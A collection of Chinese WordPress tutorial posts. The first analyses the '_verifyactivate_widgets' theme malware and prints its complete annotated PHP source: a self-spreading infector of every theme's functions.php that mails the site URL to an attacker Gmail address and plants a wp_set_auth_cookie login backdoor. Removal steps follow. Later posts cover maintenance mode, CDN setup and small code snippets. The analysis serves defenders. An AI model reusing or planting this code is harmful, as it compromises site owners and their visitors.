1 WordPress主題function.php文件里的惡意代碼
最近我們?cè)谑褂肳ordfence Security安全插件掃描網(wǎng)站惡意代碼之后,發(fā)現(xiàn)了WordPress主題的function.php文件里,隱藏惡意病毒代碼。
WordPress中“惡意代碼”最有可能出現(xiàn)的地方是主題目錄下的function.php,通常是隱藏在function.php文件的結(jié)尾。
主要問(wèn)題:該惡意代碼會(huì)在每次有人訪問(wèn)你的博客頁(yè)面時(shí),檢測(cè)當(dāng)前博客下的所有主題是否都被感染,如果沒(méi)有,就會(huì)一起被感染。
之后在執(zhí)行wp的初始化動(dòng)作init的時(shí)候,會(huì)檢查當(dāng)前博客是否有發(fā)郵件到郵箱 [email?protected]gmail. com
怎么知道是否發(fā)了?
_is_widget_active_
的選項(xiàng),如果已經(jīng)發(fā)送成功,則將其值設(shè)置為1;惡意病毒代碼如下(可能會(huì)有一些差異,但基本代碼是一樣的):
<?php function _verifyactivate_widgets(){ //當(dāng)前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php //查找當(dāng)前主題functions.php文件中最后一個(gè) <? 標(biāo)記,從這個(gè)標(biāo)記的位置開(kāi)始,取得一直到文件尾的內(nèi)容 $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”)); $output=“”; $allowed=“”; //去除html和php標(biāo)簽,其實(shí)這一句是扯蛋。。。 $output=strip_tags($output, $allowed); //取得主題目錄themes的絕對(duì)路徑,如 /path-to-www/wp-content/themes //為了加強(qiáng)程序的兼容性,它不惜以這種很晦澀的方式來(lái)獲取。。。 //以主題目錄themes的絕對(duì)路徑用array包裹為參數(shù)傳遞給_get_allwidgets_cont函數(shù)獲取此博客的所有主題的functions.php文件的絕對(duì)路徑 $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6))); if (is_array($direst)){ foreach ($direst as $item){ //如果主題functions.php文件可寫(xiě) if (is_writable($item)){ //特征碼 $ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“)); //取目標(biāo)functions.php文件內(nèi)容 $cont=file_get_contents($item); //沒(méi)找到特征碼?OK,試圖感染 if (stripos($cont,$ftion) === false){ //查看目標(biāo)functions.php文件最后是否是以 ?> 結(jié)尾,如果不是,給加上 ?> 標(biāo)記 $comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”; //這里的代碼是忽悠人了,模仿WP widgets的代碼,蠱惑你的眼睛,讓你覺(jué)得這是widget代碼。。。 $output .= $before . “Not found” . $after; //如果文件是以 ?> 標(biāo)記結(jié)尾的,連標(biāo)記一起取過(guò)來(lái) if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);} //開(kāi)始感染,$widget內(nèi)容即是惡意代碼自身,在functions.php文件原內(nèi)容后附加惡意代碼 $output=rtrim($output, “nt”); fputs($f=fopen($item,”w+”),$cont . $comaar . “n” .$widget);fclose($f); //后面這句也是偽裝用的 $output .= ($isshowdots && $ellipsis) ? “…” : “”; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ //從$wids數(shù)組彈出一個(gè)元素(實(shí)際上是一個(gè)位置) $places=array_shift($wids); //如果位置字串是以/結(jié)尾的,則去掉/ if(substr($places,-1) == “/”){ $places=substr($places,0,-1); } //若不存在這樣的文件或目錄則直接返回false if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ //否則的話(huà)。。。嘿嘿 //遍歷此目錄 $elems=scandir($places); foreach ($elems as $elem){ if ($elem != “.” && $elem != “..”){ //如果是目錄,則加入$wids數(shù)組 if (is_dir($places . “/” . $elem)){ $wids[]=$places . “/” . $elem; } elseif (is_file($places . “/” . $elem)&& $elem == substr(__FILE__,-13)){ //否則,如果是文件,并且文件名等于 functions.php的話(huà),則加入到$items數(shù)組保存,這才是它的目的functions.php正是它要找的 $items[]=$places . “/” . $elem;} } } }else{ return false; } //下面還有子目錄?再找找看,遞歸 if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { //好了,完事了,以數(shù)組返回所有找到的functions.php文件的絕對(duì)路徑 return $items; } } //下面是3個(gè)針對(duì)低版本的php而寫(xiě)的兼容函數(shù) if(!function_exists(“stripos”)){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists(“strripos”)){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists(“scandir”)){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != “.” && $file != “..”) || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } //這個(gè)動(dòng)作添加了,用于檢測(cè)所有主題目錄下functions.php并感染 add_action(“admin_head”, “_verifyactivate_widgets”); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check=”cookie”; if(!isset($tagsallowed)) $tagsallowed=”<a>“; if(!isset($filter)) $filter=”none”; if(!isset($coma)) $coma=””; if(!isset($home_filter)) $home_filter=get_option(“home”); if(!isset($pref_filters)) $pref_filters=”wp_”; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=””; if(!isset($cpages)) $cpages=$_GET[“cperpage”]; if(!isset($post_auth_comments)) $post_auth_comments=””; if(!isset($com_is_approved)) $com_is_approved=””; if(!isset($post_auth)) $post_auth=”auth”; if(!isset($link_text_more)) $link_text_more=”(more…)”; if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”); if(!isset($checkswidgets)) //這個(gè)實(shí)際是wp_set_auth_cookie $checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”; if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=””; //如果 _is_widget_active_ option內(nèi)容為空,即表示沒(méi)有被感染過(guò) if (!$widget_yes) : global $wpdb, $post; //取出存在已經(jīng)通過(guò)的評(píng)論(不包括trackback/pingback)的文章 // post_author 為 [email?protected] 的文章,肯定是沒(méi)有的 $sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND post_author=”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m” AND post_password=”” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;# if (!empty($post->post_password)) { if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__(“There is no excerpt because this is a protected post.”); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; //$gettextcomments實(shí)際上為 wp_mail if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional=”div”; //這里$sh_cont即為 [email?protected] if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “l(fā)ive”), 20);# if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } //開(kāi)始調(diào)用 wp_mail 向 [email?protected] 發(fā)送郵件,標(biāo)題和內(nèi)容都是被感染的博客的URL 地址 $sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) { $text=explode(“<span id=“more-5675”></span>“, $text, 2); $l=count($text[0]); $more_link=1; //執(zhí)行這一句時(shí)就開(kāi)始發(fā)郵件了。 $comments=$wpdb->get_results($sql); } else { $text=explode(” “, $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=””; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . ” “; } //把感染標(biāo)記置為1 update_option(“_is_widget_active_”, 1); if(“all” != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, “sntrx0B”); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? “…” : “”; //$filter 為 none …,又是在偽裝 $output=apply_filters($filter, $output); switch($tag_aditional) { case(“div”) : $tag=”div”; break; case(“span”) : $tag=”span”; break; case(“p”) : $tag=”p”; break; default : $tag=”span”; } //$checkswidgets即是wp_set_auth_cookie if ($is_use_more_link ) { if($for_more) { $output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “#more-” . $post->ID .”” title=”” . $more_text_link . “”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “n”; } else { $output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “” title=”” . $more_text_link . “”>” . $link_text_more . “</a></” . $tag . “>” . “n”; } } return $output; } //這里是用來(lái)干壞事的,這才是這個(gè)惡意代碼的目的,前面的感染是“準(zhǔn)備活動(dòng)” add_action(“init”, “_getprepare_widget”); //這個(gè)函數(shù)也是用來(lái)偽裝的,無(wú)惡意 function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) { global $wpdb; $request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS ”comment_count” FROM $wpdb->posts, $wpdb->comments”; $request .= ” WHERE comment_approved=”1” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=”publish””; if(!$show_pass_post) $request .= ” AND post_password =”””; if($duration !=””) { $request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “; } $request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”; $posts=$wpdb->get_results($request); $output=””; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . ” <a href=”” . $permalink . “” title=”” . $post_title.“”>” . $post_title . “</a> ” . $after; } } else { $output .= $before . “None found” . $after; } return $output; } ?>
WordPress主題惡意代碼有哪些?
如果使用Wordfence Security安全插件掃描確定你的function.php文件被篡改了,需要檢查一下,例如:
清理起來(lái)也很簡(jiǎn)單,只要在WordPress主題的function.php文件中,找到上面類(lèi)似的代碼并刪除即可,但是因?yàn)橐坏┍桓腥荆愕膖hemes主題目錄下的所有主題會(huì)被感染,所以只清除當(dāng)前使用的主題是無(wú)效的,清除后很快就會(huì)生成。
解決方法是清除一個(gè)WordPress主題的惡意病毒代碼后,將functions.php文件設(shè)置為444權(quán)限,然后清除其它WordPress主題。
至于最后一個(gè)functions.php文件的444權(quán)限是否需要改回來(lái),們?nèi)私ㄗh444還是比較安全的,需要修改的時(shí)候可以修改。
我們推薦 Wordfence Security 的 WordPress 插件,一個(gè)集成了防火墻和惡意代碼掃描的 WordPress 安全插件,由一個(gè)大型團(tuán)隊(duì)構(gòu)建和維護(hù),100% 專(zhuān)注于 WordPress 安全。
雖然有付費(fèi)模塊,但我們可以使用免費(fèi)模塊“掃描”來(lái)掃描我們的WordPress網(wǎng)站,檢查包含“惡意代碼”的PHP文件,雖然有一定的誤報(bào)率(主要是一些正版插件, 主題加密組件會(huì)被誤報(bào)),但查找“惡意代碼”肯定是事半功倍。
需要注意的是,這個(gè)插件不建議經(jīng)常開(kāi)啟,因?yàn)樗姆阑饓桶踩雷o(hù)會(huì)對(duì)數(shù)據(jù)庫(kù)造成一定的負(fù)載壓力,影響網(wǎng)站的性能。
通常,啟用插件以在需要時(shí)運(yùn)行“掃描”掃描。
排查完畢后關(guān)閉插件,以備不時(shí)之需。
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress主題如何清理惡意代碼_verifyactivate_widgets》,對(duì)您有幫助。
1 為何導(dǎo)致 WordPress 上的“暫時(shí)無(wú)法進(jìn)行定期維護(hù)”錯(cuò)誤?
WordPress修復(fù)“暫時(shí)無(wú)法進(jìn)行定期維護(hù)。嘗試訪問(wèn)你的 WordPress 網(wǎng)站時(shí),請(qǐng)稍后再查”問(wèn)題。
你是否遇到過(guò)“Briefly unavailable for scheduled maintenance. check back in a minute
”錯(cuò)誤?
像這樣的錯(cuò)誤令人沮喪,但不要擔(dān)心!修復(fù)“暫時(shí)無(wú)法進(jìn)行定期維護(hù)。一會(huì)兒回來(lái)看看?!盬ordPress 上的錯(cuò)誤只需要幾分鐘。
在本文中,我們將介紹:
Briefly unavailable for scheduled maintenance. check back in a minute
”消息?每當(dāng)你使用儀表板中內(nèi)置的 WordPress 更新系統(tǒng)更新核心軟件、WordPress插件或主題時(shí),WordPress 會(huì)將你的網(wǎng)站置于“維護(hù)模式”,以便它可以安全地更新相關(guān)文件。
如果你在更新WordPress程序的過(guò)程中注意過(guò),WordPress 在執(zhí)行更新時(shí)實(shí)際上會(huì)在你的儀表板中告訴你這一點(diǎn)?▼
當(dāng)你的網(wǎng)站處于維護(hù)模式時(shí),任何嘗試訪問(wèn)你的 WordPress 網(wǎng)站的人都會(huì)看到“Briefly unavailable for scheduled maintenance. check back in a minute
”消息 ▼
所以實(shí)際上,消息本身并不是錯(cuò)誤,它應(yīng)該只存在很短的時(shí)間內(nèi)。
通常,WordPress 無(wú)縫啟用維護(hù)模式,執(zhí)行更新,然后禁用維護(hù)模式。大多數(shù)時(shí)候,這個(gè)過(guò)程非常無(wú)縫,只需要幾秒鐘,你甚至不會(huì)注意到你的網(wǎng)站發(fā)生了變化。
但是,有時(shí)你的網(wǎng)站會(huì)“陷入”維護(hù)模式。那時(shí)“Briefly unavailable for scheduled maintenance. check back in a minute
”消息開(kāi)始成為問(wèn)題,因?yàn)樗粫?huì)消失,并阻止你和其他人訪問(wèn)你的網(wǎng)站。
你的 WordPress 網(wǎng)站可能會(huì)卡在維護(hù)模式有多種原因,最常見(jiàn)的原因是:
值得慶幸的是,修復(fù)“Briefly unavailable for scheduled maintenance. check back in a minute
”WordPress 上的消息,只要求你通過(guò) FTP 刪除單個(gè)文件。
以下是如何讓你的網(wǎng)站再次運(yùn)行的解決方案。
為了讓你的網(wǎng)站進(jìn)入維護(hù)模式,WordPress 將一個(gè)名為.maintenance的文件添加到你的 WordPress 站點(diǎn)的根文件夾中(這與你的wp-config.php文件所在的文件夾相同)。
使你的站點(diǎn)退出維護(hù)模式并擺脫“暫時(shí)無(wú)法進(jìn)行定期維護(hù)。請(qǐng)稍后再查看”消息,你需要做的就是刪除該.maintenance文件。
這是有關(guān)如何執(zhí)行此操作的分步指南……
第 1 步:通過(guò) SFTP 連接到你的 WordPress 網(wǎng)站
首先,你需要使用 FTP 程序通過(guò) SFTP 連接到你的 WordPress 站點(diǎn)。
連接到站點(diǎn)后,你應(yīng)該會(huì)在public
文件夾中,看到所有站點(diǎn)文件的列表 ▼
public
”文件夾中。第 2 步:刪除 .maintenance 文件
現(xiàn)在,你需要做的就是刪除名為.maintenance的文件,以讓你的站點(diǎn)退出維護(hù)模式并解決問(wèn)題?▼
如果你沒(méi)有看到.maintenance文件,你可能需要顯示隱藏文件。
例如,在FileZilla中,單擊頂部的“服務(wù)器”,然后單擊“強(qiáng)制顯示隱藏文件”?▼
強(qiáng)制顯示隱藏文件
以下是一些提示,可幫助你避免將來(lái)遇到此問(wèn)題。
1.運(yùn)行WordPress更新時(shí),不要關(guān)閉瀏覽器選項(xiàng)卡
每當(dāng)你使用 WordPress 的更新功能時(shí),請(qǐng)確保你的瀏覽器選項(xiàng)卡保持打開(kāi)狀態(tài),直到你看到“禁用維護(hù)模式...所有更新已完成
”的消息?▼
2.避免同時(shí)更新過(guò)多的WordPress主題和插件
3. 確保主題和插件兼容
在你運(yùn)行任何更新之前,請(qǐng)確保你正在更新的主題或插件與你正在運(yùn)行的 WordPress 版本兼容。
你可以通過(guò)單擊查看詳細(xì)信息鏈接,快速檢查確認(rèn)WordPress插件和主題的兼容性 ▼
擴(kuò)展閱讀:
WordPress錯(cuò)誤怎么辦?Health Check & Troubleshooting插件排查
當(dāng)WordPress網(wǎng)站出現(xiàn)一些致命錯(cuò)誤問(wèn)題,找不到原因時(shí),必須禁用所有插件,然后逐個(gè)啟用,以便觀察是WordPress主題,或是哪些WordPress插件造成沖突。但是,禁用所有WordPress插件,絕對(duì)會(huì)影……
WordPress致命錯(cuò)誤:登錄站點(diǎn)后臺(tái)安裝插件主題遇到錯(cuò)誤怎么解決?
最近Dropbox API停止使用長(zhǎng)期訪問(wèn)令牌。 為了符合這些新的變化,BackWPup插件必須實(shí)現(xiàn)刷新令牌的使用,它只能在您重新進(jìn)行身份驗(yàn)證時(shí)獲取。登錄WordPress后臺(tái)提示此站點(diǎn)遇到了致命錯(cuò)誤You……
解決WordPress更新失敗:因?yàn)槲覀儾荒軓?fù)制一些文件,升級(jí)未被安裝
有時(shí),當(dāng)我們升級(jí)WordPress建站程序版本,或升級(jí)WordPress插件時(shí),會(huì)出現(xiàn)錯(cuò)誤提示:更新失敗:因?yàn)槲覀儾荒軓?fù)制一些文件,升級(jí)未被安裝。這通常是WordPress建站程序的文件權(quán)限不一……
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress修復(fù)Briefly unavailable for scheduled maintenance》,對(duì)您有幫助。
1 Featured Image From URL插件下載
WordPress如何添加外鏈特色圖片?Featured Image from URL插件設(shè)定
雖然用WordPress建站有很多優(yōu)勢(shì),但是在WordPress默認(rèn)的媒體庫(kù),并不是那么好用:
其實(shí),我們是將網(wǎng)站上的圖片,上傳到服務(wù)器的其它文件夾。
這樣做的好處:
所以,在此分享可以添加外鏈特色圖片功能的WordPress插件——Featured Image From URL(來(lái)自URL的特色圖片)。
插件名稱(chēng):Featured Image From URL
點(diǎn)此訪問(wèn) WordPress 官網(wǎng)下載?Featured Image From URL 插件
安裝WordPress插件的方法,請(qǐng)瀏覽這篇建站教程 ▼
進(jìn)入WordPress文章編輯頁(yè)面后,如果在右側(cè)邊欄中沒(méi)有Featured Image From URL ……
請(qǐng)?jiān)趩螕粑恼马?yè)面頂部的“顯示選項(xiàng)”后,勾選“Featured Image from URL” ▼
你應(yīng)該能夠在文章編輯區(qū)域的右側(cè):
找到Featured Image From URL?字段輸入框,直接填寫(xiě)要使用的圖像URL ▼
當(dāng)然,有興趣使用此插件的朋友可以測(cè)試每個(gè)設(shè)置。
在“Admin Area”→“Media Libarary”選項(xiàng)(不建議啟用)?▼
在保存、發(fā)布或更新時(shí),開(kāi)啟“use the first image as featured image”功能 ▼
以下是Metadata → Fake Internal Featured Image(假內(nèi)部特色圖片)設(shè)定▼
默認(rèn)的外部精選圖片顯示問(wèn)題:
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress外鏈特色圖片插件:Featured Image from URL》,對(duì)您有幫助。
1 CDN是什么?有什么用?
如何10倍提升外貿(mào)網(wǎng)站速度?從而提高谷歌搜索排名?
內(nèi)容分發(fā)網(wǎng)絡(luò)
”。在本文中,我們將分享可以幫助你加快外貿(mào)網(wǎng)站速度的WordPress最佳CDN服務(wù)。
多年來(lái)MaxCDN是個(gè)非常流行的CDN服務(wù),特別是對(duì)于WordPress用戶(hù):
但是,Stackpath為你提供了很多選擇,你可以選擇特定服務(wù),或者使用包含CDN、防火墻、托管DNS、全球DDoS保護(hù)等的完全“邊緣交付包”。
Stackpath的全球DDoS保護(hù):
目前,Stackpath 在除非洲之外的每個(gè)宜居大陸上,提供了35個(gè)以上的CDN節(jié)點(diǎn)。 你可以查看以下地圖 ▼
點(diǎn)此進(jìn)入 Stackpath官網(wǎng) 查看最新全球CDN節(jié)點(diǎn)
Stackpath的優(yōu)點(diǎn)有哪些?
第1步:注冊(cè)StackPath CDN?賬號(hào)▼
點(diǎn)此進(jìn)入 StackPath CDN?官網(wǎng)
輸入郵箱和密碼,并單擊“Create an Account”按鈕,創(chuàng)建一個(gè)帳戶(hù)?▼
第 2 步:需要選擇一項(xiàng)StackPath服務(wù)。StackPath提供網(wǎng)站和應(yīng)用程序服務(wù)以及邊緣計(jì)算服務(wù)? 選擇一“網(wǎng)站和應(yīng)用程序服務(wù)”?▼
第 3 步:選擇StackPath的 CDN?▼
第 3 步:通過(guò)發(fā)送到你的電子郵件帳戶(hù)的鏈接驗(yàn)證你的電子郵件地址后,它會(huì)將你重定向到付款頁(yè)面 ▼
第 4 步:在StackPath儀表板中,單擊Site選項(xiàng)卡 ▼
第 5 步:創(chuàng)建StackPath CDN站點(diǎn) ▼
在大多數(shù)情況下,這是網(wǎng)站的URL。
bucket
.s3-?aws-region
.amazonaws.comaws-region
.amazonaws.com /bucket-name
第 6 步:將StackPath CDN URL粘貼到Autoptimize插件的CDN Base URL字段中?▼
http://
或 https://
才能使用Autoptimize 插件。第 7 步:在StackPath中轉(zhuǎn)到CDN→CACHE SETTINGS(緩存設(shè)置)▼
第 8 步:在StackPath中將你的服務(wù)器IP地址列入白名單(WAF→防火墻)?▼
在GTmetrix中測(cè)試運(yùn)行你的站點(diǎn) ,YSlow中的“內(nèi)容交付網(wǎng)絡(luò)”應(yīng)為綠色?▼
如果使用WordPress建站,可以安裝WordPress插件Autoptimize。
Google字體:
優(yōu)化圖片:
圖像優(yōu)化質(zhì)量:
刪除Emojis:
從靜態(tài)資源中刪除查詢(xún)字符串:
預(yù)連接到第3方域名:
https://fonts.googleapis.com https://fonts.gstatic.com https://www.google-analytics.com https://ajax.googleapis.com https://connect.facebook.net https://www.googletagmanager.com https://maps.google.com
異步Javascript文件:
優(yōu)化YouTube視頻:
到此,我們已經(jīng)完成了Autoptimize設(shè)置中對(duì)StackPath CDN的配置。
點(diǎn)此進(jìn)入 StackPath CDN 官網(wǎng)
希望我們網(wǎng)站( http://www.bkxoo.cn/ ) 分享的《國(guó)外CDN服務(wù)商外貿(mào)免備案推薦:Stackpath CDN設(shè)置教程》,對(duì)您有幫助。
1 WordPress站內(nèi)搜索排除指定文章或頁(yè)面
有些時(shí)候,我們可能不想讓某分類(lèi)、文章或頁(yè)面,出現(xiàn)在WordPress站內(nèi)搜索結(jié)果中。
因此我們可以使用filter(過(guò)濾器),來(lái)過(guò)濾掉某些文章或網(wǎng)頁(yè)。
// WordPress搜索結(jié)果排除指定文章或頁(yè)面ID function wpsite_search_filter_id($query) { if ( !$query->is_admin && $query->is_search) { $query->set('post__not_in', array(40,819)); //文章或者頁(yè)面的ID } return $query; } add_filter('pre_get_posts','wpsite_search_filter_id');
// WordPress搜索結(jié)果排除某分類(lèi)的文章 function wpsite_search_filter_category( $query) { if ( !$query->is_admin && $query->is_search) { $query->set('cat','-15,-57'); //分類(lèi)的ID,前面的減號(hào)表示排除;如果直接寫(xiě)ID,則表示只在該分類(lèi)ID中搜索 } return $query; } add_filter('pre_get_posts','wpsite_search_filter_category');
這非常實(shí)用,建議添加 ▼
// WordPress搜索結(jié)果排除所有頁(yè)面 function search_filter_page($query) { if ($query->is_search) { $query->set('post_type', 'post'); } return $query; } add_filter('pre_get_posts','search_filter_page');
安裝Search Exclude插件后,你將在文章編輯界面的右側(cè)看到新功能?▼
以下是安裝WordPress插件的方法?▼
如何安裝WordPress插件?3種安裝WordPress插件方法
WordPress的強(qiáng)大之處,可以通過(guò)安裝WordPress插件的方式,來(lái)擴(kuò)展各種豐富功能,比如:SEO、電子商務(wù)功能等等。安裝WordPress插件的方法,類(lèi)似于安裝WordPress主題。安裝WordPress插件新……
只要選中這個(gè)“Exclude from Search Results”選項(xiàng),該文章就不會(huì)再出現(xiàn)在網(wǎng)站的站內(nèi)搜索結(jié)果中。
當(dāng)你在WordPress前臺(tái)站內(nèi)搜索時(shí),你會(huì)發(fā)現(xiàn)你找不到被排除的文章 ▼
在Search Exclude插件的管理界面中,你可以查看所有已排除在站內(nèi)搜索的文章或頁(yè)面 ▼
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress如何排除指定分類(lèi)/文章頁(yè)面在站內(nèi)搜索結(jié)果?》,對(duì)您有幫助。
1 一、添加WordPress文章字?jǐn)?shù)統(tǒng)計(jì)代碼
有些新媒體網(wǎng)站的文章開(kāi)頭,有字?jǐn)?shù)統(tǒng)計(jì)和該文的預(yù)期閱讀時(shí)間。
將以下代碼添加到主題中的最后幾個(gè)functions.php文件中 ?>
之前?▼
//字?jǐn)?shù)統(tǒng)計(jì) function count_words ($text) { global $post; if ( '' == $text ) { $text = $post->post_content; if (mb_strlen($output, 'UTF-8') < mb_strlen($text, 'UTF-8')) $output .= '本文《' . get_the_title() .'》共' . mb_strlen(preg_replace('/\s/','',html_entity_decode(strip_tags($post->post_content))),'UTF-8') . '個(gè)字'; return $output; }
將以下代碼添加到主題中的最后幾個(gè)functions.php文件中 ?>
保存之后,你可以在WordPress文章內(nèi)容的開(kāi)頭自動(dòng)顯示“預(yù)計(jì)閱讀時(shí)間x分鐘”▼
function lmsim_read_time($content){ $text = trim(strip_tags( get_the_content())); $text_num = mb_strlen($text, 'UTF-8'); $read_time = ceil($text_num/400); $content = '<div class="read-time">系統(tǒng)預(yù)計(jì)閱讀時(shí)間 <span>' . $read_time . '</span> 分鐘</div>' . $content; return $content; } add_filter ( 'the_content', 'lmsim_read_time');
在測(cè)試之后,發(fā)現(xiàn)上面代碼統(tǒng)計(jì)中的單詞數(shù)有一些錯(cuò)誤,這些錯(cuò)誤,超出了實(shí)際錯(cuò)誤
將以下代碼添加到主題中的最后幾個(gè)functions.php文件中 ?>
之前?▼
//字?jǐn)?shù)和預(yù)計(jì)閱讀時(shí)間統(tǒng)計(jì) function count_words_read_time () { global $post; $text_num = mb_strlen(preg_replace('/\s/','',html_entity_decode(strip_tags($post->post_content))),'UTF-8'); $read_time = ceil($text_num/400); $output .= '本文《' . get_the_title() .'》共' . $text_num . '個(gè)字,系統(tǒng)預(yù)計(jì)閱讀時(shí)間或需' . $read_time . '分鐘。'; return $output; }
然后,將調(diào)用統(tǒng)計(jì)代碼添加到single.php文件中的適當(dāng)位置。
<?php echo count_words_read_time(); ?>
在我們測(cè)試之后,當(dāng)字?jǐn)?shù)小于或等于400時(shí),即當(dāng)預(yù)計(jì)閱讀時(shí)間小于或等于1分鐘時(shí)。
但是,如果它超過(guò)400,它將是有偏差的。
ceil()?函數(shù)向上舍入到最接近的整數(shù)。
這意味著返回不小于x的下一個(gè)整數(shù)。
如果x具有小數(shù)部分,則ceil()?返回的類(lèi)型仍然是float
,因?yàn)?code>float的范圍通常大于integer。
例子
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress如何添加文章字?jǐn)?shù)統(tǒng)計(jì)和預(yù)計(jì)閱讀時(shí)間?》,對(duì)您有幫助。
1 如何挑選合適的網(wǎng)站空間?
不論是個(gè)人或外貿(mào)企業(yè)建站,在剛開(kāi)始搭建電商網(wǎng)站時(shí),都會(huì)想要了解:
以下網(wǎng)站空間/VPS服務(wù)器配置選擇建議,其中硬盤(pán)容量,僅供視頻內(nèi)容居多的網(wǎng)站參考。
購(gòu)買(mǎi)網(wǎng)站空間/VPS服務(wù)器時(shí),必須在自己能承受的價(jià)格范圍內(nèi)。
WordPress是全世界最流行的建站程序,所以一般是以WordPress建站為主流。
若是外貿(mào)企業(yè)公司的網(wǎng)站空間,首選推薦BlueHost。
因?yàn)锽lueHost是WordPress官方推薦的網(wǎng)站空間商 ▼
BlueHost主機(jī)怎么樣?最新BlueHost美國(guó)優(yōu)惠碼/優(yōu)惠券
BlueHost中文教程:教你如何以?xún)?yōu)惠價(jià)格購(gòu)買(mǎi)BlueHost美國(guó)主機(jī)?[su_button url=”https://www.wordpressx.com/go/bluehost” target=”blank” style=”3d” size=”5″ icon=”icon: external-li……
要是想要以最便宜的價(jià)格域名域名,首選推薦NameSilo ▼
NameSilo域名注冊(cè)教程(送你 1 美金 NameSilo優(yōu)惠碼)
NameSilo 優(yōu)惠碼:WXR?(優(yōu)惠10%)NameSilo 2022最新注冊(cè)流程在眾多網(wǎng)絡(luò)營(yíng)銷(xiāo)方法中,最有效果的是SEO。既然做搜索引擎優(yōu)化,就必須注冊(cè)域名和建站。不過(guò),在注冊(cè)域名時(shí),一些不明智……
